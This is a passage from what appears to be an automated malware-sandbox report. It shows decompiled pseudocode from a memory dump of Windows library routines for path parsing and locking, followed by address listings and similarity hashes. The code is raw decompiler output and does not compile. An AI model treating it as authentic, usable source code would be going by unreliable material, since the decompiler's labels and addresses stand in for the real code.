									}
								} else {
									_v556 = _t316;
									 *((short*)(_t329 + 0x32)) = _t233;
									_v552 = _t254;
									if(_t316 < 2) {
										L11:
										if(_t316 < 4 ||  *_t254 == 0 || _t254[1] != 0x3a) {
											_t161 = 5;
										} else {
											if(_t316 < 6) {
												L87:
												_t161 = 3;
											} else {
												_t242 = _t254[2] & 0x0000ffff;
												if(_t242 != 0x5c) {
													if(_t242 == 0x2f) {
														goto L16;
													} else {
														goto L87;
													}
													goto L101;
												} else {
													L16:
													_t161 = 2;
												}
											}
										}
									} else {
										_t243 =  *_t254 & 0x0000ffff;
										if(_t243 == 0x5c || _t243 == 0x2f) {
											if(_t316 < 4) {
												L81:
												_t161 = 4;
												goto L17;
											} else {
												_t244 = _t254[1] & 0x0000ffff;
												if(_t244 != 0x5c) {
													if(_t244 == 0x2f) {
														goto L60;
													} else {
														goto L81;
													}
												} else {
													L60:
													if(_t316 < 6) {
														L83:
														_t161 = 1;
														goto L17;
													} else {
														_t245 = _t254[2] & 0x0000ffff;
														if(_t245 != 0x2e) {
															if(_t245 == 0x3f) {
																goto L62;
															} else {
																goto L83;
															}
														} else {
															L62:
															if(_t316 < 8) {
																L85:
																_t161 = ((0 | _t316 != 0x00000006) - 0x00000001 & 0x00000006) + 1;
																goto L17;
															} else {
																_t250 = _t254[3] & 0x0000ffff;
																if(_t250 != 0x5c) {
																	if(_t250 == 0x2f) {
																		goto L64;
																	} else {
																		goto L85;
																	}
																} else {
																	L64:
																	_t161 = 6;
																	goto L17;
																}
															}
														}
													}
												}
											}
											goto L101;
										} else {
											goto L11;
										}
									}
									L17:
									if(_t161 != 2) {
										_t162 = _t161 - 1;
										if(_t162 > 5) {
											goto L18;
										} else {
											switch( *((intOrPtr*)(_t162 * 4 +  &M057045F8))) {
												case 0:
													_v568 = 0x56c1078;
													__eax = 2;
													goto L20;
												case 1:
													goto L18;
												case 2:
													_t163 = 4;
													goto L19;
											}
										}
										goto L41;
									} else {
										L18:
										_t163 = 0;
										L19:
										_v568 = 0x56c11c4;
									}
									L20:
									_v588 = _t163;
									_v564 = _t163 + _t163;
									_t306 =  *_v568 & 0x0000ffff;
									_t265 = _t306 - _v564 + 2 + (_t316 & 0x0000ffff);
									_v576 = _t265;
									if(_t265 > 0xfffe) {
										L90:
										_t322 = 0xc0000106;
									} else {
										if(_t321 != 0) {
											if(_t265 > (_t321[1] & 0x0000ffff)) {
												if(_v580 != 0) {
													goto L23;
												} else {
													_t322 = 0xc0000106;
													goto L39;
												}
											} else {
												_t177 = _t306;
												goto L25;
											}
											goto L101;
										} else {
											if(_v580 == _t321) {
												_t322 = 0xc000000d;
											} else {
												L23:
												_t173 = L05704620(_t265,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t265);
												_t269 = _v592;
												_t269[2] = _t173;
												if(_t173 == 0) {
													_t322 = 0xc0000017;
												} else {
													_t316 = _v556;
													 *_t269 = 0;
													_t321 = _t269;
													_t269[1] = _v576;
													_t177 =  *_v568 & 0x0000ffff;
													L25:
													_v580 = _t177;
													if(_t177 == 0) {
														L29:
														_t307 =  *_t321 & 0x0000ffff;
													} else {
														_t290 =  *_t321 & 0x0000ffff;
														_v576 = _t290;
														_t310 = _t177 & 0x0000ffff;
														if((_t290 & 0x0000ffff) + (_t177 & 0x0000ffff) > (_t321[1] & 0x0000ffff)) {
															_t307 =  *_t321 & 0xffff;
														} else {
															_v576 = _t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2;
															E0572F720(_t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2, _v568[2], _t310);
															_t329 = _t329 + 0xc;
															_t311 = _v580;
															_t225 =  *_t321 + _t311 & 0x0000ffff;
															 *_t321 = _t225;
															if(_t225 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v576 + ((_t311 & 0x0000ffff) >> 1) * 2)) = 0;
															}
															goto L29;
														}
													}
													_t271 = _v556 - _v588 + _v588;
													_v580 = _t307;
													_v576 = _t271;
													if(_t271 != 0) {
														_t308 = _t271 & 0x0000ffff;
														_v588 = _t308;
														if(_t308 + (_t307 & 0x0000ffff) <= (_t321[1] & 0x0000ffff)) {
															_v580 = _t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2;
															E0572F720(_t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2, _v552 + _v564, _t308);
															_t329 = _t329 + 0xc;
															_t213 =  *_t321 + _v576 & 0x0000ffff;
															 *_t321 = _t213;
															if(_t213 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v580 + (_v588 >> 1) * 2)) = 0;
															}
														}
													}
													_t272 = _v560;
													if(_t272 != 0) {
														 *_t272 = _t321;
													}
													_t306 = 0;
													 *((short*)(_t321[2] + (( *_t321 & 0x0000ffff) >> 1) * 2)) = 0;
													_t275 = _v572;
													if(_t275 != 0) {
														_t306 =  *_t275;
														if(_t306 != 0) {
															 *_t275 = ( *_v568 & 0x0000ffff) - _v564 - _t254 + _t306 + _t321[2];
														}
													}
													_t181 = _v544;
													if(_t181 != 0) {
														 *_t181 = 0;
														 *((intOrPtr*)(_t181 + 4)) = 0;
														 *((intOrPtr*)(_t181 + 8)) = 0;
														 *((intOrPtr*)(_t181 + 0xc)) = 0;
														if(_v540 == 5) {
															_t182 = E056E52A5(1);
															_v588 = _t182;
															if(_t182 == 0) {
																E056FEB70(1, 0x57d79a0);
																goto L38;
															} else {
																_v560 = _t182 + 0xc;
																_t185 = E056FAA20( &_v556, _t182 + 0xc,  &_v556, 1);
																if(_t185 == 0) {
																	_t324 = _v588;
																	goto L97;
																} else {
																	_t306 = _v544;
																	_t282 = ( *_v560 & 0x0000ffff) - _v564 + ( *_v568 & 0x0000ffff) + _t321[2];
																	 *(_t306 + 4) = _t282;
																	_v576 = _t282;
																	_t325 = _t316 -  *_v560 & 0x0000ffff;
																	 *_t306 = _t325;
																	if( *_t282 == 0x5c) {
																		_t149 = _t325 - 2; // -2
																		_t283 = _t149;
																		 *_t306 = _t283;
																		 *(_t306 + 4) = _v576 + 2;
																		_t185 = _t283 & 0x0000ffff;
																	}
																	_t324 = _v588;
																	 *(_t306 + 2) = _t185;
																	if((_v548 & 0x00000002) == 0) {
																		L97:
																		asm("lock xadd [esi], eax");
																		if((_t185 | 0xffffffff) == 0) {
																			_push( *((intOrPtr*)(_t324 + 4)));
																			E057295D0();
																			L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t324);
																		}
																	} else {
																		 *(_t306 + 0xc) = _t324;
																		 *((intOrPtr*)(_t306 + 8)) =  *((intOrPtr*)(_t324 + 4));
																	}
																	goto L38;
																}
															}
															goto L41;
														}
													}
													L38:
													_t322 = 0;
												}
											}
										}
									}
									L39:
									if(_t254 !=  &_v532) {
										L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t254);
									}
									_t169 = _t322;
								}
								goto L41;
							}
							goto L68;
						}
					}
					L41:
					_pop(_t317);
					_pop(_t323);
					_pop(_t255);
					return E0572B640(_t169, _t255, _v8 ^ _t329, _t306, _t317, _t323);
				} else {
					_t299 = __edx[2];
					if( *_t299 == 0x5c) {
						_t256 =  *(_t299 + 2) & 0x0000ffff;
						if(_t256 != 0x5c) {
							if(_t256 != 0x3f) {
								goto L2;
							} else {
								goto L50;
							}
						} else {
							L50:
							if( *((short*)(_t299 + 4)) != 0x3f ||  *((short*)(_t299 + 6)) != 0x5c) {
								goto L2;
							} else {
								_t251 = E05723D43(_t315, _t321, _t157, _v560, _v572, _t305);
								_pop(_t319);
								_pop(_t326);
								_pop(_t257);
								return E0572B640(_t251, _t257, _v24 ^ _t329, _t321, _t319, _t326);
							}
						}
					} else {
						L2:
						_t260 = _v572;
						goto L3;
					}
				}
				L101:
			}

0x05704128
0x05704135
0x0570413c
0x05704141
0x05704145
0x05704147
0x0570414e
0x05704151
0x05704159
0x0570415c
0x05704160
0x05704164
0x05704168
0x0570416c
0x0570417f
0x05704181
0x0570446a
0x0570446a
0x0570418c
0x05704195
0x05704199
0x05704432
0x05704439
0x0570443d
0x05704442
0x05704447
0x00000000
0x0570419f
0x057041a3
0x057041b1
0x057041b9
0x057041bd
0x057045db
0x057045db
0x00000000
0x057041c3
0x057041c3
0x057041ce
0x057041d4
0x0574e138
0x0574e13e
0x0574e169
0x0574e16d
0x0574e19e
0x0574e16f
0x0574e16f
0x0574e175
0x0574e179
0x0574e18f
0x0574e193
0x00000000
0x0574e199
0x00000000
0x0574e199
0x0574e193
0x00000000
0x00000000
0x00000000
0x057041da
0x057041da
0x057041df
0x057041e4
0x057041ec
0x05704203
0x05704207
0x0574e1fd
0x05704222
0x05704226
0x0574e1f3
0x0574e1f3
0x0570422c
0x0570422c
0x05704233
0x0574e1ed
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x05704239
0x05704239
0x05704239
0x05704239
0x05704233
0x05704226
0x057041ee
0x057041ee
0x057041f4
0x05704575
0x0574e1b1
0x0574e1b1
0x00000000
0x0570457b
0x0570457b
0x05704582
0x0574e1ab
0x00000000
0x00000000
0x00000000
0x00000000
0x05704588
0x05704588
0x0570458c
0x0574e1c4
0x0574e1c4
0x00000000
0x05704592
0x05704592
0x05704599
0x0574e1be
0x00000000
0x00000000
0x00000000
0x00000000
0x0570459f
0x0570459f
0x057045a3
0x0574e1d7
0x0574e1e4
0x00000000
0x057045a9
0x057045a9
0x057045b0
0x0574e1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x057045b6
0x057045b6
0x057045b6
0x00000000
0x057045b6
0x057045b0
0x057045a3
0x05704599
0x0570458c
0x05704582
0x00000000
0x00000000
0x00000000
0x00000000
0x057041f4
0x0570423e
0x05704241
0x057045c0
0x057045c4
0x00000000
0x057045ca
0x057045ca
0x00000000
0x0574e207
0x0574e20f
0x00000000
0x00000000
0x00000000
0x00000000
0x057045d1
0x00000000
0x00000000
0x057045ca
0x00000000
0x05704247
0x05704247
0x05704247
0x05704249
0x05704249
0x05704249
0x05704251
0x05704251
0x05704257
0x0570425f
0x0570426e
0x05704270
0x0570427a
0x0574e219
0x0574e219
0x05704280
0x05704282
0x05704456
0x057045ea
0x00000000
0x057045f0
0x0574e223
0x00000000
0x0574e223
0x0570445c
0x0570445c
0x00000000
0x0570445c
0x00000000
0x05704288
0x0570428c
0x0574e298
0x05704292
0x05704292
0x0570429e
0x057042a3
0x057042a7
0x057042ac
0x0574e22d
0x057042b2
0x057042b2
0x057042b9
0x057042bc
0x057042c2
0x057042ca
0x057042cd
0x057042cd
0x057042d4
0x0570433f
0x0570433f
0x057042d6
0x057042d6
0x057042d9
0x057042dd
0x057042eb
0x0574e23a
0x057042f1
0x05704305
0x0570430d
0x05704315
0x05704318
0x0570431f
0x05704322
0x0570432e
0x0570433b
0x0570433b
0x00000000
0x0570432e
0x057042eb
0x0570434c
0x0570434e
0x05704352
0x05704359
0x0570435e
0x05704361
0x0570436e
0x0570438a
0x0570438e
0x05704396
0x0570439e
0x057043a1
0x057043ad
0x057043bb
0x057043bb
0x057043ad
0x0570436e
0x057043bf
0x057043c5
0x05704463
0x05704463
0x057043ce
0x057043d5
0x057043d9
0x057043df
0x05704475
0x05704479
0x05704491
0x05704491
0x05704479
0x057043e5
0x057043eb
0x057043f4
0x057043f6
0x057043f9
0x057043fc
0x057043ff
0x057044e8
0x057044ed
0x057044f3
0x0574e247
0x00000000
0x057044f9
0x05704504
0x05704508
0x0570450f
0x0574e269
0x00000000
0x05704515
0x05704519
0x05704531
0x05704534
0x05704537
0x0570453e
0x05704541
0x0570454a
0x0574e255
0x0574e255
0x0574e25b
0x0574e25e
0x0574e261
0x0574e261
0x05704555
0x05704559
0x0570455d
0x0574e26d
0x0574e270
0x0574e274
0x0574e27a
0x0574e27d
0x0574e28e
0x0574e28e
0x05704563
0x05704563
0x05704569
0x05704569
0x00000000
0x0570455d
0x0570450f
0x00000000
0x057044f3
0x057043ff
0x05704405
0x05704405
0x05704405
0x057042ac
0x0570428c
0x05704282
0x05704407
0x0570440d
0x0574e2af
0x0574e2af
0x05704413
0x05704413
0x00000000
0x057041d4
0x00000000
0x057041c3
0x057041bd
0x05704415
0x05704415
0x05704416
0x05704417
0x05704429
0x0570416e
0x0570416e
0x05704175
0x05704498
0x0570449f
0x0574e12d
0x00000000
0x0574e133
0x00000000
0x0574e133
0x057044a5
0x057044a5
0x057044aa
0x00000000
0x057044bb
0x057044ca
0x057044d6
0x057044d7
0x057044d8
0x057044e3
0x057044e3
0x057044aa
0x0570417b
0x0570417b
0x0570417b
0x00000000
0x0570417b
0x05704175
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e825177309b3f005077f35e31f0c5b78b43e463487d646c0878565ceabc7c21b
Instruction ID: e22b0274797fdc99cc422049af6ce497fd2b6a9f8b7bab75432c5b1693f98ba9
Opcode Fuzzy Hash: e825177309b3f005077f35e31f0c5b78b43e463487d646c0878565ceabc7c21b
Instruction Fuzzy Hash: F4F17C70608211DFCB24CF59C484A3AB7E6FF88714F15992EF986CB290E734D981EB52

Uniqueness

Uniqueness Score: -1.00%

Function 057120A0, Relevance: .4, Instructions: 420
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E057120A0(void* __ebx, unsigned int __ecx, signed int __edx, void* __eflags, intOrPtr* _a4, signed int _a8, intOrPtr* _a12, void* _a16, intOrPtr* _a20) {
				signed int _v16;
				signed int _v20;
				signed char _v24;
				intOrPtr _v28;
				signed int _v32;
				void* _v36;
				char _v48;
				signed int _v52;
				signed int _v56;
				unsigned int _v60;
				char _v64;
				unsigned int _v68;
				signed int _v72;
				char _v73;
				signed int _v74;
				char _v75;
				signed int _v76;
				void* _v81;
				void* _v82;
				void* _v89;
				void* _v92;
				void* _v97;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t128;
				void* _t129;
				signed int _t130;
				void* _t132;
				signed char _t133;
				intOrPtr _t135;
				signed int _t137;
				signed int _t140;
				signed int* _t144;
				signed int* _t145;
				intOrPtr _t146;
				signed int _t147;
				signed char* _t148;
				signed int _t149;
				signed int _t153;
				signed int _t169;
				signed int _t174;
				signed int _t180;
				void* _t197;
				void* _t198;
				signed int _t201;
				intOrPtr* _t202;
				intOrPtr* _t205;
				signed int _t210;
				signed int _t215;
				signed int _t218;
				signed char _t221;
				signed int _t226;
				char _t227;
				signed int _t228;
				void* _t229;
				unsigned int _t231;
				void* _t235;
				signed int _t240;
				signed int _t241;
				void* _t242;
				signed int _t246;
				signed int _t248;
				signed int _t252;
				signed int _t253;
				void* _t254;
				intOrPtr* _t256;
				intOrPtr _t257;
				unsigned int _t262;
				signed int _t265;
				void* _t267;
				signed int _t275;

				_t198 = __ebx;
				_t267 = (_t265 & 0xfffffff0) - 0x48;
				_v68 = __ecx;
				_v73 = 0;
				_t201 = __edx & 0x00002000;
				_t128 = __edx & 0xffffdfff;
				_v74 = __edx & 0xffffff00 | __eflags != 0x00000000;
				_v72 = _t128;
				if((_t128 & 0x00000008) != 0) {
					__eflags = _t128 - 8;
					if(_t128 != 8) {
						L69:
						_t129 = 0xc000000d;
						goto L23;
					} else {
						_t130 = 0;
						_v72 = 0;
						_v75 = 1;
						L2:
						_v74 = 1;
						_t226 =  *0x57d8714; // 0x0
						if(_t226 != 0) {
							__eflags = _t201;
							if(_t201 != 0) {
								L62:
								_v74 = 1;
								L63:
								_t130 = _t226 & 0xffffdfff;
								_v72 = _t130;
								goto L3;
							}
							_v74 = _t201;
							__eflags = _t226 & 0x00002000;
							if((_t226 & 0x00002000) == 0) {
								goto L63;
							}
							goto L62;
						}
						L3:
						_t227 = _v75;
						L4:
						_t240 = 0;
						_v56 = 0;
						_t252 = _t130 & 0x00000100;
						if(_t252 != 0 || _t227 != 0) {
							_t240 = _v68;
							_t132 = E05712EB0(_t240);
							__eflags = _t132 - 2;
							if(_t132 != 2) {
								__eflags = _t132 - 1;
								if(_t132 == 1) {
									goto L25;
								}
								__eflags = _t132 - 6;
								if(_t132 == 6) {
									__eflags =  *((short*)(_t240 + 4)) - 0x3f;
									if( *((short*)(_t240 + 4)) != 0x3f) {
										goto L40;
									}
									_t197 = E05712EB0(_t240 + 8);
									__eflags = _t197 - 2;
									if(_t197 == 2) {
										goto L25;
									}
								}
								L40:
								_t133 = 1;
								L26:
								_t228 = _v75;
								_v56 = _t240;
								__eflags = _t133;
								if(_t133 != 0) {
									__eflags = _t228;
									if(_t228 == 0) {
										L43:
										__eflags = _v72;
										if(_v72 == 0) {
											goto L8;
										}
										goto L69;
									}
									_t133 = E056E58EC(_t240);
									_t221 =  *0x57d5cac; // 0x16
									__eflags = _t221 & 0x00000040;
									if((_t221 & 0x00000040) != 0) {
										_t228 = 0;
										__eflags = _t252;
										if(_t252 != 0) {
											goto L43;
										}
										_t133 = _v72;
										goto L7;
									}
									goto L43;
								} else {
									_t133 = _v72;
									goto L6;
								}
							}
							L25:
							_t133 = _v73;
							goto L26;
						} else {
							L6:
							_t221 =  *0x57d5cac; // 0x16
							L7:
							if(_t133 != 0) {
								__eflags = _t133 & 0x00001000;
								if((_t133 & 0x00001000) != 0) {
									_t133 = _t133 | 0x00000a00;
									__eflags = _t221 & 0x00000004;
									if((_t221 & 0x00000004) != 0) {
										_t133 = _t133 | 0x00000400;
									}
								}
								__eflags = _t228;
								if(_t228 != 0) {
									_t133 = _t133 | 0x00000100;
								}
								_t229 = E05724A2C(0x57d6e40, 0x5724b30, _t133, _t240);
								__eflags = _t229;
								if(_t229 == 0) {
									_t202 = _a20;
									goto L100;
								} else {
									_t135 =  *((intOrPtr*)(_t229 + 0x38));
									L15:
									_t202 = _a20;
									 *_t202 = _t135;
									if(_t229 == 0) {
										L100:
										 *_a4 = 0;
										_t137 = _a8;
										__eflags = _t137;
										if(_t137 != 0) {
											 *_t137 = 0;
										}
										 *_t202 = 0;
										_t129 = 0xc0000017;
										goto L23;
									} else {
										_t242 = _a16;
										if(_t242 != 0) {
											_t254 = _t229;
											memcpy(_t242, _t254, 0xd << 2);
											_t267 = _t267 + 0xc;
											_t242 = _t254 + 0x1a;
										}
										_t205 = _a4;
										_t25 = _t229 + 0x48; // 0x48
										 *_t205 = _t25;
										_t140 = _a8;
										if(_t140 != 0) {
											__eflags =  *((char*)(_t267 + 0xa));
											if( *((char*)(_t267 + 0xa)) != 0) {
												 *_t140 =  *((intOrPtr*)(_t229 + 0x44));
											} else {
												 *_t140 = 0;
											}
										}
										_t256 = _a12;
										if(_t256 != 0) {
											 *_t256 =  *((intOrPtr*)(_t229 + 0x3c));
										}
										_t257 =  *_t205;
										_v48 = 0;
										 *((intOrPtr*)(_t267 + 0x2c)) = 0;
										_v56 = 0;
										_v52 = 0;
										_t144 =  *( *[fs:0x30] + 0x50);
										if(_t144 != 0) {
											__eflags =  *_t144;
											if( *_t144 == 0) {
												goto L20;
											}
											_t145 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
											goto L21;
										} else {
											L20:
											_t145 = 0x7ffe0384;
											L21:
											if( *_t145 != 0) {
												_t146 =  *[fs:0x30];
												__eflags =  *(_t146 + 0x240) & 0x00000004;
												if(( *(_t146 + 0x240) & 0x00000004) != 0) {
													_t147 = E05707D50();
													__eflags = _t147;
													if(_t147 == 0) {
														_t148 = 0x7ffe0385;
													} else {
														_t148 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
													}
													__eflags =  *_t148 & 0x00000020;
													if(( *_t148 & 0x00000020) != 0) {
														_t149 = _v72;
														__eflags = _t149;
														if(__eflags == 0) {
															_t149 = 0x56c5c80;
														}
														_push(_t149);
														_push( &_v48);
														 *((char*)(_t267 + 0xb)) = E0571F6E0(_t198, _t242, _t257, __eflags);
														_push(_t257);
														_push( &_v64);
														_t153 = E0571F6E0(_t198, _t242, _t257, __eflags);
														__eflags =  *((char*)(_t267 + 0xb));
														if( *((char*)(_t267 + 0xb)) != 0) {
															__eflags = _t153;
															if(_t153 != 0) {
																__eflags = 0;
																E05767016(0x14c1, 0, 0, 0,  &_v72,  &_v64);
																L05702400(_t267 + 0x20);
															}
															L05702400( &_v64);
														}
													}
												}
											}
											_t129 = 0;
											L23:
											return _t129;
										}
									}
								}
							}
							L8:
							_t275 = _t240;
							if(_t275 != 0) {
								_v73 = 0;
								_t253 = 0;
								__eflags = 0;
								L29:
								_push(0);
								_t241 = E05712397(_t240);
								__eflags = _t241;
								if(_t241 == 0) {
									_t229 = 0;
									L14:
									_t135 = 0;
									goto L15;
								}
								__eflags =  *((char*)(_t267 + 0xb));
								 *(_t241 + 0x34) = 1;
								if( *((char*)(_t267 + 0xb)) != 0) {
									E05702280(_t134, 0x57d8608);
									__eflags =  *0x57d6e48 - _t253; // 0x0
									if(__eflags != 0) {
										L48:
										_t253 = 0;
										__eflags = 0;
										L49:
										E056FFFB0(_t198, _t241, 0x57d8608);
										__eflags = _t253;
										if(_t253 != 0) {
											L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t253);
										}
										goto L31;
									}
									 *0x57d6e48 = _t241;
									 *(_t241 + 0x34) =  *(_t241 + 0x34) + 1;
									__eflags = _t253;
									if(_t253 != 0) {
										_t57 = _t253 + 0x34;
										 *_t57 =  *(_t253 + 0x34) + 0xffffffff;
										__eflags =  *_t57;
										if( *_t57 == 0) {
											goto L49;
										}
									}
									goto L48;
								}
								L31:
								_t229 = _t241;
								goto L14;
							}
							_v73 = 1;
							_v64 = _t240;
							asm("lock bts dword [esi], 0x0");
							if(_t275 < 0) {
								_t231 =  *0x57d8608; // 0x0
								while(1) {
									_v60 = _t231;
									__eflags = _t231 & 0x00000001;
									if((_t231 & 0x00000001) != 0) {
										goto L76;
									}
									_t73 = _t231 + 1; // 0x1
									_t210 = _t73;
									asm("lock cmpxchg [edi], ecx");
									__eflags = _t231 - _t231;
									if(_t231 != _t231) {
										L92:
										_t133 = E05716B90(_t210,  &_v64);
										_t262 =  *0x57d8608; // 0x0
										L93:
										_t231 = _t262;
										continue;
									}
									_t240 = _v56;
									goto L10;
									L76:
									_t169 = E0571E180(_t133);
									__eflags = _t169;
									if(_t169 != 0) {
										_push(0xc000004b);
										_push(0xffffffff);
										E057297C0();
										_t231 = _v68;
									}
									_v72 = 0;
									_v24 =  *( *[fs:0x18] + 0x24);
									_v16 = 3;
									_v28 = 0;
									__eflags = _t231 & 0x00000002;
									if((_t231 & 0x00000002) == 0) {
										_v32 =  &_v36;
										_t174 = _t231 >> 4;
										__eflags = 1 - _t174;
										_v20 = _t174;
										asm("sbb ecx, ecx");
										_t210 = 3 |  &_v36;
										__eflags = _t174;
										if(_t174 == 0) {
											_v20 = 0xfffffffe;
										}
									} else {
										_v32 = 0;
										_v20 = 0xffffffff;
										_v36 = _t231 & 0xfffffff0;
										_t210 = _t231 & 0x00000008 |  &_v36 | 0x00000007;
										_v72 =  !(_t231 >> 2) & 0xffffff01;
									}
									asm("lock cmpxchg [edi], esi");
									_t262 = _t231;
									__eflags = _t262 - _t231;
									if(_t262 != _t231) {
										goto L92;
									} else {
										__eflags = _v72;
										if(_v72 != 0) {
											E0572006A(0x57d8608, _t210);
										}
										__eflags =  *0x7ffe036a - 1;
										if(__eflags <= 0) {
											L89:
											_t133 =  &_v16;
											asm("lock btr dword [eax], 0x1");
											if(__eflags >= 0) {
												goto L93;
											} else {
												goto L90;
											}
											do {
												L90:
												_push(0);
												_push(0x57d8608);
												E0572B180();
												_t133 = _v24;
												__eflags = _t133 & 0x00000004;
											} while ((_t133 & 0x00000004) == 0);
											goto L93;
										} else {
											_t218 =  *0x57d6904; // 0x400
											__eflags = _t218;
											if(__eflags == 0) {
												goto L89;
											} else {
												goto L87;
											}
											while(1) {
												L87:
												__eflags = _v16 & 0x00000002;
												if(__eflags == 0) {
													goto L89;
												}
												asm("pause");
												_t218 = _t218 - 1;
												__eflags = _t218;
												if(__eflags != 0) {
													continue;
												}
												goto L89;
											}
											goto L89;
										}
									}
								}
							}
							L10:
							_t229 =  *0x57d6e48; // 0x0
							_v72 = _t229;
							if(_t229 == 0 ||  *((char*)(_t229 + 0x40)) == 0 &&  *((intOrPtr*)(_t229 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
								E056FFFB0(_t198, _t240, 0x57d8608);
								_t253 = _v76;
								goto L29;
							} else {
								 *((intOrPtr*)(_t229 + 0x34)) =  *((intOrPtr*)(_t229 + 0x34)) + 1;
								asm("lock cmpxchg [esi], ecx");
								_t215 = 1;
								if(1 != 1) {
									while(1) {
										_t246 = _t215 & 0x00000006;
										_t180 = _t215;
										__eflags = _t246 - 2;
										_v56 = _t246;
										_t235 = (0 | _t246 == 0x00000002) * 4 - 1 + _t215;
										asm("lock cmpxchg [edi], esi");
										_t248 = _v56;
										__eflags = _t180 - _t215;
										if(_t180 == _t215) {
											break;
										}
										_t215 = _t180;
									}
									__eflags = _t248 - 2;
									if(_t248 == 2) {
										__eflags = 0;
										E057200C2(0x57d8608, 0, _t235);
									}
									_t229 = _v72;
								}
								goto L14;
							}
						}
					}
				}
				_t227 = 0;
				_v75 = 0;
				if(_t128 != 0) {
					goto L4;
				}
				goto L2;
			}

0x057120a0
0x057120a8
0x057120ad
0x057120b3
0x057120b8
0x057120c2
0x057120c7
0x057120cb
0x057120d2
0x05712263
0x05712266
0x05755836
0x05755836
0x00000000
0x0571226c
0x0571226c
0x05712270
0x05712274
0x057120e2
0x057120e2
0x057120e6
0x057120ee
0x057557dc
0x057557de
0x057557ec
0x057557ec
0x057557f1
0x057557f3
0x057557f8
0x00000000
0x057557f8
0x057557e0
0x057557e4
0x057557ea
0x00000000
0x00000000
0x00000000
0x057557ea
0x057120f4
0x057120f4
0x057120f8
0x057120f8
0x057120fc
0x05712100
0x05712106
0x05712201
0x05712206
0x0571220b
0x0571220e
0x057122a9
0x057122ac
0x00000000
0x00000000
0x057122b2
0x057122b5
0x05755801
0x05755806
0x00000000
0x00000000
0x05755810
0x05755815
0x05755818
0x00000000
0x00000000
0x0575581e
0x057122bb
0x057122bb
0x05712218
0x05712218
0x0571221c
0x05712220
0x05712222
0x057122c2
0x057122c4
0x057122dc
0x057122dc
0x057122e1
0x00000000
0x00000000
0x00000000
0x057122e7
0x057122c8
0x057122cd
0x057122d3
0x057122d6
0x05755823
0x05755825
0x05755827
0x00000000
0x00000000
0x0575582d
0x00000000
0x0575582d
0x00000000
0x05712228
0x05712228
0x00000000
0x05712228
0x05712222
0x05712214
0x05712214
0x00000000
0x05712114
0x05712114
0x05712114
0x0571211a
0x0571211c
0x05712348
0x0571234d
0x05755840
0x05755845
0x05755848
0x0575584e
0x0575584e
0x05755848
0x05712353
0x05712355
0x05712388
0x05712388
0x05712368
0x0571236a
0x0571236c
0x0571238f
0x00000000
0x0571236e
0x0571236e
0x0571218e
0x0571218e
0x05712191
0x05712195
0x05755a03
0x05755a06
0x05755a0c
0x05755a0f
0x05755a11
0x05755a13
0x05755a13
0x05755a19
0x05755a1f
0x00000000
0x0571219b
0x0571219b
0x057121a0
0x05712282
0x05712284
0x05712284
0x05712284
0x05712284
0x057121a6
0x057121a9
0x057121ac
0x057121ae
0x057121b3
0x0571228b
0x05712290
0x05712379
0x05712296
0x05712298
0x05712298
0x05712290
0x057121b9
0x057121be
0x057122a2
0x057122a2
0x057121c4
0x057121c8
0x057121cc
0x057121d0
0x057121d4
0x057121de
0x057121e3
0x05755a29
0x05755a2c
0x00000000
0x00000000
0x05755a3b
0x00000000
0x057121e9
0x057121e9
0x057121e9
0x057121ee
0x057121f1
0x05755a45
0x05755a4b
0x05755a52
0x05755a58
0x05755a5d
0x05755a5f
0x05755a71
0x05755a61
0x05755a6a
0x05755a6a
0x05755a76
0x05755a79
0x05755a7f
0x05755a83
0x05755a85
0x05755a87
0x05755a87
0x05755a8c
0x05755a91
0x05755a97
0x05755a9f
0x05755aa0
0x05755aa1
0x05755aa6
0x05755aab
0x05755ab1
0x05755ab3
0x05755ab9
0x05755aca
0x05755ad4
0x05755ad4
0x05755ade
0x05755ade
0x05755aab
0x05755a79
0x05755a52
0x057121f7
0x057121f9
0x057121fe
0x057121fe
0x057121e3
0x05712195
0x0571236c
0x05712122
0x05712122
0x05712124
0x05712231
0x05712236
0x05712236
0x05712238
0x05712238
0x05712240
0x05712242
0x05712244
0x057559fc
0x0571218c
0x0571218c
0x00000000
0x0571218c
0x0571224a
0x0571224f
0x05712256
0x05712304
0x05712309
0x0571230f
0x0571231e
0x0571231e
0x0571231e
0x05712320
0x05712325
0x0571232a
0x0571232c
0x0571233e
0x0571233e
0x00000000
0x0571232c
0x05712311
0x05712317
0x0571231a
0x0571231c
0x05712380
0x05712380
0x05712380
0x05712384
0x00000000
0x00000000
0x05712386
0x00000000
0x0571231c
0x0571225c
0x0571225c
0x00000000
0x0571225c
0x0571212a
0x05712134
0x05712138
0x0571213d
0x05755858
0x05755863
0x05755863
0x05755867
0x0575586a
0x00000000
0x00000000
0x0575586c
0x0575586c
0x05755871
0x05755875
0x05755877
0x05755997
0x0575599c
0x057559a1
0x057559a7
0x057559a7
0x00000000
0x057559a7
0x0575587d
0x00000000
0x0575588b
0x0575588b
0x05755890
0x05755892
0x05755894
0x05755899
0x0575589b
0x057558a0
0x057558a0
0x057558aa
0x057558b2
0x057558b6
0x057558be
0x057558c6
0x057558c9
0x0575590d
0x05755917
0x0575591a
0x0575591c
0x05755920
0x05755928
0x0575592a
0x0575592c
0x0575592e
0x0575592e
0x057558cb
0x057558cd
0x057558d8
0x057558e0
0x057558f4
0x057558fe
0x057558fe
0x0575593a
0x0575593e
0x05755940
0x05755942
0x00000000
0x05755944
0x05755944
